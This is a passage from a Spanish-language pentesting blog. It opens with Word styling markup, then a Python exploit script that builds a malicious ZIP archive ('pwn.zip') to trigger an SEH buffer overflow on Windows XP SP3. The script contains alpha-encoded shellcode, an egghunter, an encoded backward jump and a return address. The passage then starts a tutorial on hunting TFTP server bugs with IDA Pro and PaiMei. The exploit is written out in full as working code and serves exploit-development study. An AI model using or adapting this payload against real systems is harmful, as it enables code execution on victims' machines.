UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->Tras diversas operaciones de alineamiento de esp y otros problemas tendremos un exploit "encodeado" y funcionando para windows sp3</div>
<div class="MsoNormal">
<br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a>#!/usr/bin/python<br />
<br />
local_file_header = (<br />
<br />
"\x50\x4B\x03\x04" #local file header signature (4bytes)<br />
"\x14\x00" #version needed to extract (2 bytes)<br />
"\x00\x00" #general purpose bit flag (2 bytes)<br />
"\x00\x00" #compresion method (2 bytes)<br />
"\xB7\xAC" #last mod file time (2 bytes)<br />
"\xCE\x34" #last mod file date (2 bytes)<br />
"\x00\x00\x00\x00" #crc-32 (4 bytes)<br />
"\x00\x00\x00\x00" #compressed size (4 bytes)<br />
"\x00\x00\x00\xe4" #uncompressed size (4 bytes)<br />
"\x0f\x00" #file name lenght (2 bytes)(variable size)<br />
"\x00\x00" #extra field length (2 bytes)(variable size)<br />
)<br />
<br />
central_file_header = (<br />
"\x50\x4B\x01\x02" #central file header signature (4 bytes)<br />
"\x14\x00" #version made by (2 bytes)<br />
"\x14\x00" #version needed to extract (2 bytes)<br />
"\x00\x00" #general purpose but flag (2 bytes)<br />
"\x00\x00" #compression method (2 bytes)<br />
"\xB7\xAC" #last mod file time (2 bytes)<br />
"\xCE\x34" #last mod file date (2 bytes)<br />
"\x00\x00\x00\x00" #crc-32 (4 bytes)<br />
"\x00\x00\x00\x00" #compressed size (4 bytes)<br />
"\x00\x00\x00\x00" #uncompressed size (4 bytes)<br />
"\xe4\x0f" #file name length (2 bytes) (variable size)<br />
"\x00\x00" #extra field length (2 bytes) (variable size)<br />
"\x00\x00" #file comment lenght (2 bytes)(variable size)<br />
"\x00\x00" #disk number start (2 bytes)<br />
"\x01\x00" #internal file atributes (2 bytes)<br />
"\x24\x00\x00\x00" #external file atributes (4 bytes)<br />
"\x00\x00\x00\x00" #relative offset of local header (4 bytes)<br />
)<br />
<br />
end_of_central_directory = (<br />
"\x50\x4B\x05\x06" #end of central dir signature (4 bytes)<br />
"\x00\x00" #number of this disk (2 bytes)<br />
"\x00\x00" #number of the disk with the start of the central directory (2 bytes)<br />
"\x01\x00" #total number of entries in the central directory on this disk (2 bytes)<br />
"\x01\x00" #total number of entries in the central directory (2 bytes)<br />
"\x12\x10\x00\x00" #size of the central directory (4 bytes)<br />
"\x02\x10\x00\x00" #offset of start of central directory with respect to the starting disk (4 bytes) number<br />
"\x00\x00" #.zip file comment length (2 bytes) (variable size)<br />
)<br />
<br />
#msfencode -e x86/alpha_upper -i shell -t perl [*] x86/alpha_upper succeeded with size 696 (iteration=1)<br />
shellcode = (<br />
"w00tw00t"<br />
"\x89\xe3\xd9\xee\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" <br />
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" <br />
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" <br />
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" <br />
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48" <br />
"\x4b\x39\x45\x50\x45\x50\x45\x50\x35\x30\x4b\x39\x5a\x45" <br />
"\x36\x51\x38\x52\x43\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b" <br />
"\x31\x42\x44\x4c\x4c\x4b\x56\x32\x35\x44\x4c\x4b\x44\x32" <br />
"\x46\x48\x34\x4f\x58\x37\x50\x4a\x47\x56\x36\x51\x4b\x4f" <br />
"\x50\x31\x39\x50\x4e\x4c\x47\x4c\x43\x51\x53\x4c\x33\x32" <br />
"\x56\x4c\x57\x50\x49\x51\x58\x4f\x44\x4d\x43\x31\x39\x57" <br />
"\x4b\x52\x4c\x30\x36\x32\x36\x37\x4c\x4b\x31\x42\x44\x50" <br />
"\x4c\x4b\x31\x52\x57\x4c\x45\x51\x48\x50\x4c\x4b\x57\x30" <br />
"\x43\x48\x4b\x35\x59\x50\x54\x34\x30\x4a\x45\x51\x48\x50" <br />
"\x36\x30\x4c\x4b\x47\x38\x32\x38\x4c\x4b\x56\x38\x47\x50" <br />
"\x35\x51\x4e\x33\x5a\x43\x37\x4c\x57\x39\x4c\x4b\x36\x54" <br />
"\x4c\x4b\x55\x51\x58\x56\x56\x51\x4b\x4f\x56\x51\x39\x50" <br />
"\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x55\x51\x38\x47\x37\x48" <br />
"\x4b\x50\x54\x35\x4a\x54\x45\x53\x43\x4d\x4c\x38\x37\x4b" <br />
"\x33\x4d\x56\x44\x42\x55\x4d\x32\x36\x38\x4c\x4b\x31\x48" <br />
"\x31\x34\x33\x31\x48\x53\x55\x36\x4c\x4b\x34\x4c\x30\x4b" <br />
"\x4c\x4b\x56\x38\x35\x4c\x33\x31\x39\x43\x4c\x4b\x34\x44" <br />
"\x4c\x4b\x43\x31\x38\x50\x4d\x59\x37\x34\x56\x44\x37\x54" <br />
"\x31\x4b\x51\x4b\x53\x51\x50\x59\x50\x5a\x50\x51\x4b\x4f" <br />
"\x4d\x30\x30\x58\x31\x4f\x50\x5a\x4c\x4b\x44\x52\x5a\x4b" <br />
"\x4b\x36\x31\x4d\x55\x38\x50\x33\x36\x52\x55\x50\x45\x50" <br />
"\x35\x38\x43\x47\x32\x53\x46\x52\x31\x4f\x31\x44\x32\x48" <br />
"\x50\x4c\x33\x47\x31\x36\x43\x37\x4b\x4f\x39\x45\x48\x38" <br />
"\x4c\x50\x43\x31\x53\x30\x55\x50\x51\x39\x59\x54\x36\x34" <br />
"\x50\x50\x45\x38\x46\x49\x4b\x30\x42\x4b\x55\x50\x4b\x4f" <br />
"\x58\x55\x56\x30\x46\x30\x56\x30\x50\x50\x31\x50\x50\x50" <br />
"\x51\x50\x56\x30\x35\x38\x4a\x4a\x44\x4f\x49\x4f\x4d\x30" <br />
"\x4b\x4f\x49\x45\x4c\x49\x38\x47\x53\x58\x39\x50\x39\x38" <br />
"\x33\x31\x46\x5a\x55\x38\x33\x32\x45\x50\x53\x31\x4f\x4b" <br />
"\x4c\x49\x5a\x46\x32\x4a\x32\x30\x46\x36\x36\x37\x52\x48" <br />
"\x4c\x59\x59\x35\x44\x34\x55\x31\x4b\x4f\x38\x55\x53\x58" <br />
"\x35\x33\x42\x4d\x53\x54\x43\x30\x4d\x59\x4b\x53\x30\x57" <br />
"\x46\x37\x50\x57\x50\x31\x4c\x36\x42\x4a\x44\x52\x31\x49" <br />
"\x46\x36\x4a\x42\x4b\x4d\x42\x46\x48\x47\x57\x34\x31\x34" <br />
"\x47\x4c\x55\x51\x43\x31\x4c\x4d\x57\x34\x31\x34\x54\x50" <br />
"\x58\x46\x43\x30\x47\x34\x31\x44\x50\x50\x30\x56\x51\x46" <br />
"\x50\x56\x51\x56\x46\x36\x30\x4e\x31\x46\x46\x36\x51\x43" <br />
"\x31\x46\x52\x48\x43\x49\x38\x4c\x37\x4f\x4b\x36\x4b\x4f" <br />
"\x39\x45\x4d\x59\x4b\x50\x50\x4e\x31\x46\x30\x46\x4b\x4f" <br />
"\x46\x50\x32\x48\x55\x58\x4b\x37\x45\x4d\x55\x30\x4b\x4f" <br />
"\x58\x55\x4f\x4b\x4a\x50\x48\x35\x39\x32\x36\x36\x33\x58" <br />
"\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x4e\x35\x37\x4c" <br />
"\x44\x46\x33\x4c\x54\x4a\x4b\x30\x4b\x4b\x4d\x30\x43\x45" <br />
"\x45\x55\x4f\x4b\x30\x47\x42\x33\x44\x32\x42\x4f\x43\x5a" <br />
"\x33\x30\x50\x53\x4b\x4f\x38\x55\x41\x41"<br />
)<br />
<br />
print "La longitud de la shellcode es: %i" %len(shellcode)<br />
<br />
# muy importante si el nombre del fichero no son 4064 bytes exactamente no rula :P<br />
# offset 298 (seh) 4064-302<br />
<br />
#pop pop ret 00407A33 file not found didn't work<br />
#hacemos un salto para atras con los bytes que tenemos y condicionales<br />
#FFFFFC18<br />
<br />
#egghunter usando alpha skynet base address ebp<br />
egghunter = (<br />
"UYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2"<br />
"BB0BBXP8ACJJI3VMQYZKODOPBV2SZC2V88MFNGL35PZRTJ"<br />
"O88T76PVPBTLKKJNOCEKZNOBUZGKOKWA"<br />
)<br />
<br />
print "La longitud del egghunter es: %i" %len(egghunter)<br />
<br />
#inicio del egghunter 0012FAD6<br />
#observamos que entre EBP y el egghunter hay 1086 bytes que son 43E bytes por lo que:<br />
#add ebp,0x43E, jmp ebp (de esta manera tendremos en eax la direccion de memoria de nuestro egghunter)<br />
#Full opcode : \x81\xc5\x3e\x04\x00\x00\xff\xe5<br />
<br />
<br />
jumpencod = (<br />
"\x58\x58\x58\x58\x50\x5c" # popeax*4 , push eax, pop esp<br />
"\x25\x4A\x4D\x4E\x55"<br />
"\x25\x35\x32\x31\x2A"<br />
"\x2D\x55\x55\x55\x5E"<br />
"\x2D\x55\x55\x55\x5E"<br />
"\x2D\x56\x55\x56\x5D"<br />
"\x50"<br />
"\x25\x4A\x4D\x4E\x55"<br />
"\x25\x35\x32\x31\x2A"<br />
"\x2D\x2A\x68\x40\x53"<br />
"\x2D\x2A\x69\x40\x54"<br />
"\x2D\x2B\x69\x40\x54"<br />
"\x50"<br />
)<br />
<br />
#El salto hacia atras es de 86 bytes para ejecutar nuestro codigo encodeado<br />
<br />
print "La longitud del salto encodeado es: %i" %len(jumpencod)<br />
<br />
buff = egghunter + "A" * 84 + jumpencod + "A" * 28 + "\x74\xf9\xff\xff" + "\x33\x7a\x40\x00" + shellcode + "C" * 3058 + ".txt"<br />
<br />
mefile = open('pwn.zip','w');<br />
mefile.write(local_file_header + buff + central_file_header + buff + end_of_central_directory);<br />
mefile.close()<br />
<br />
print "Escribiendo shellcode"<br />
mefile = open('C:\shellcode.bin','w');<br />
mefile.write(shellcode)<br />
mefile.close()</div>
<div class="MsoNormal">
</div>
REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com1tag:blogger.com,1999:blog-694521803021083340.post-90298719719264543372013-03-17T16:20:00.000-07:002013-03-18T09:55:02.829-07:00Encontrar vulnerabilidades con ingeniería inversa: IDA PRO + PAIMEI<br />
Hoy vamos a hablar de un método para buscar vulnerabilidades usando ingeniería inversa con IDA PRO y Paimei.Paimei es un framework hecho en python que utiliza python debugger (Pydbg).En lo que nos ayudará Paimei es en ver en que bloques de las funciones del código hemos accedido realizando alguna acción concreta sobre la aplicación.También podemos utilizarlo para fuzzing y ver que cantidad de bloques y funciones hemos asignado y poder así visualizar las zonas de la aplicación que no estamos probando para buscar vulnerabilidades, pero esta parte del fuzzing la veremos en otro momento.<br />
<br />
Nota: Para hacer algo parecido podemos usar Binnavi(de pago) o Mynav (gratuito) que ya los veremos mas adelante.<br />
<br />
Lo que vamos a hacer en este post es analizar una aplicación de un servidor TFTP.Vamos a realizar alguna acción normal del aplicativo y ver en que bloques y funciones hemos accedido y partiendo de esta base intentar buscar alguna vulnerabilidad.<br />
<br />
Lo primero vamos a echar un vistazo al RFC del protocolo TFTP para ver cosas que podemos probar -> http://tools.ietf.org/html/rfc1350<br />
<br />
<br />
I. Appendix<br />
<br />
<br />
Order of Headers<br />
<br />
2 bytes<br />
----------------------------------------------------------<br />
| Local Medium | Internet | Datagram | TFTP Opcode |<br />
----------------------------------------------------------<br />
<br />
TFTP Formats<br />
<br />
Type Op # Format without header<br />
<br />
2 bytes string 1 byte string 1 byte<br />
-----------------------------------------------<br />
RRQ/ | 01/02 | Filename | 0 | Mode | 0 |<br />
WRQ -----------------------------------------------<br />
2 bytes 2 bytes n bytes<br />
---------------------------------<br />
DATA | 03 | Block # | Data |<br />
---------------------------------<br />
2 bytes 2 bytes<br />
-------------------<br />
ACK | 04 | Block # |<br />
--------------------<br />
2 bytes 2 bytes string 1 byte<br />
----------------------------------------<br />
ERROR | 05 | ErrorCode | ErrMsg | 0 |<br />
----------------------------------------<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <br />
<br />
En este caso, vamos a probar a enviar una peticion de escritura de fichero:<br />
<br />
mode = "netascii"<br />
packet = "\x00\x02" + filename + "\x00" + mode + "\x00"<br />
<div>
<br /></div>
<div>
<div>
Para instalar paimei hay varias guías por internet -> http://pedramamini.com/PaiMei/docs/installation.html</div>
<div>
<br /></div>
<div>
Y vamos a hacer los siguientes pasos:</div>
<div>
<br /></div>
<div>
Abrimos el binario con IDA y una vez realizo el analisis vamos a File-> Script file y ejecutamos el pida_dump.py :</div>
</div>
